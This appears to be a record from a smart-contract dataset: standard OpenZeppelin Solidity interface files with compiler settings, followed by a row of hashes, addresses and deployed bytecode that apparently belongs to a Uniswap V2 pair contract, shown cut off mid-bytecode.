"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be\n * reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/draft-IERC6093.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Enumerable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/extensions/IERC721Enumerable.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Enumerable is IERC721 {\n /**\n * @dev Returns the total amount of tokens stored by the contract.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\n * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\n */\n function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);\n\n /**\n * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\n * Use along with {totalSupply} to enumerate all tokens.\n */\n function tokenByIndex(uint256 index) external view returns (uint256);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/access/IAccessControl.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/IAccessControl.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n /**\n * @dev The `account` is missing a role.\n */\n error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);\n\n /**\n * @dev The caller of a function is not the expected one.\n *\n * NOTE: Don't confuse with {AccessControlUnauthorizedAccount}.\n */\n error AccessControlBadConfirmation();\n\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `callerConfirmation`.\n */\n function renounceRole(bytes32 role, address callerConfirmation) external;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC165.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"../utils/introspection/IERC165.sol\";\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC165} from \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` amount of tokens of type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the value of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(\n address[] calldata accounts,\n uint256[] calldata ids\n ) external view returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers a `value` amount of tokens of type `id` from `from` to `to`.\n *\n * WARNING: This function can potentially allow a reentrancy attack when transferring tokens\n * to an untrusted contract, when invoking {onERC1155Received} on the receiver.\n * Ensure to follow the checks-effects-interactions pattern and consider employing\n * reentrancy guards when interacting with untrusted contracts.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `value` amount.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes calldata data) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * WARNING: This function can potentially allow a reentrancy attack when transferring tokens\n * to an untrusted contract, when invoking {onERC1155BatchReceived} on the receiver.\n * Ensure to follow the checks-effects-interactions pattern and consider employing\n * reentrancy guards when interacting with untrusted contracts.\n *\n * Emits either a {TransferSingle} or a {TransferBatch} event, depending on the length of the array arguments.\n *\n * Requirements:\n *\n * - `ids` and `values` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
}
},
"settings": {
"remappings": [
"@openzeppelin/contracts/=lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"forge-std/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
"openzeppelin-contracts/=lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "ipfs",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"libraries": {}
}
}} |
1 | 20,290,705 | 173fd2604d2d87867d7b3f973d3cda878f4a0f8e8c8524166e0b7b85029e0a32 | 48d5eea928804bd9d988a5e1832d1fb2fd9596cd868367f592f509a1be9da33b | df653e2e25c64c1ae30ed1ee623f1effcb8e30ee | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 3adf941187afdc33d9d1571cccc489839b1d59e8 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dfffffff